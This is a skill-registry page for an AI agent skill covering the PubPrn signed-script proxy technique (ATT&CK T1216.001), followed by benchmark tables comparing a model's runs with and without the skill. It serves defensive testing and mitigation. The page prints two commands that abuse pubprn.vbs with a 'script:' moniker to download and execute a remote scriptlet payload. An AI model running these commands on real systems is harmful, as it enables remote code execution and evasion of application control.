Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may use PubPrn to proxy execution of malicious remote files.
.claude/skills/cyberstrikeus-t1216-001-pubprn/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-02 | ✗→✓ | ▲ Improved | 7% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 44% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 45% | 0% |
| case-07 | ✗→✓ | ▲ Improved | -7% | 0% |
| case-08 | ✗→✓ | ▲ Improved | -74% | 0% |
> Sub-technique of: T1216
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Supported Platforms: windows
cmdcscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
If Atomic Red Team tests are not applicable, manually verify the technique by:
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.
| Finding | Severity | Impact | | --------------------------- | -------- | --------------- | | PubPrn technique applicable | Medium | Defense Evasion |
| CWE ID | Title | | ------- | ---------------------------- | | CWE-693 | Protection Mechanism Failure |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-04 | pass→pass | 18,365 | 15,685 | -15% | 1 | 1 | 0% | 3,254 | 3,871 | +19% | 0 | 0 | — |
case-10 | pass→pass | 12,665 | 8,548 | -33% | 1 | 1 | 0% | 2,188 | 2,562 | +17% | 0 | 0 | — |
case-01 | fail→fail | 22,372 | 30,479 | +36% | 1 | 1 | 0% | 4,006 | 6,733 | +68% | 0 | 0 | — |
case-02 | fail→pass | 30,981 | 26,644 | -14% | 1 | 1 | 0% | 5,238 | 5,606 | +7% | 0 | 0 | — |
case-03 | fail→fail | 14,493 | 9,483 | -35% | 1 | 1 | 0% | 2,639 | 2,621 | -1% | 0 | 0 | — |
case-05 | fail→pass | 12,462 | 11,038 | -11% | 1 | 1 | 0% | 2,062 | 2,971 | +44% | 0 | 0 | — |
case-06 | fail→pass | 7,464 | 5,345 | -28% | 1 | 1 | 0% | 1,335 | 1,931 | +45% | 0 | 0 | — |
case-07 | fail→pass | 10,389 | 3,264 | -69% | 1 | 1 | 0% | 1,618 | 1,506 | -7% | 0 | 0 | — |
case-08 | fail→pass | 24,937 | 2,794 | -89% | 1 | 1 | 0% | 5,051 | 1,338 | -74% | 0 | 0 | — |
case-09 | pass→pass | 7,382 | 3,148 | -57% | 1 | 1 | 0% | 1,241 | 1,402 | +13% | 0 | 0 | — |
case-11 | pass→pass | 10,524 | 10,341 | -2% | 1 | 1 | 0% | 1,952 | 2,669 | +37% | 0 | 0 | — |
case-12 | fail→pass | 14,076 | 13,219 | -6% | 1 | 1 | 0% | 2,322 | 3,185 | +37% | 0 | 0 | — |
case-13 | pass→pass | 13,888 | 11,415 | -18% | 1 | 1 | 0% | 2,221 | 3,071 | +38% | 0 | 0 | — |
case-14 | fail→fail | 13,395 | 9,865 | -26% | 1 | 1 | 0% | 2,303 | 2,667 | +16% | 0 | 0 | — |
case-15 | pass→pass | 5,833 | 2,920 | -50% | 1 | 1 | 0% | 1,045 | 1,441 | +38% | 0 | 0 | — |
case-16 | pass→pass | 4,496 | 2,436 | -46% | 1 | 1 | 0% | 787 | 1,420 | +80% | 0 | 0 | — |
case-17 | pass→pass | 16,225 | 11,936 | -26% | 1 | 1 | 0% | 2,837 | 3,222 | +14% | 0 | 0 | — |
case-18 | pass→pass | 13,399 | 8,362 | -38% | 1 | 1 | 0% | 2,210 | 2,473 | +12% | 0 | 0 | — |
case-19 | fail→pass | 8,392 | 3,233 | -61% | 1 | 1 | 0% | 1,496 | 1,626 | +9% | 0 | 0 | — |
case-20 | fail→pass | 16,572 | 17,309 | +4% | 1 | 1 | 0% | 2,853 | 4,190 | +47% | 0 | 0 | — |
case-21 | pass→pass | 26,921 | 14,486 | -46% | 1 | 1 | 0% | 5,018 | 3,715 | -26% | 0 | 0 | — |
case-22 | pass→pass | 19,100 | 17,474 | -9% | 1 | 1 | 0% | 3,071 | 3,950 | +29% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +36 percentage points is the difference between those two pass rates over the 22 comparable cases.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.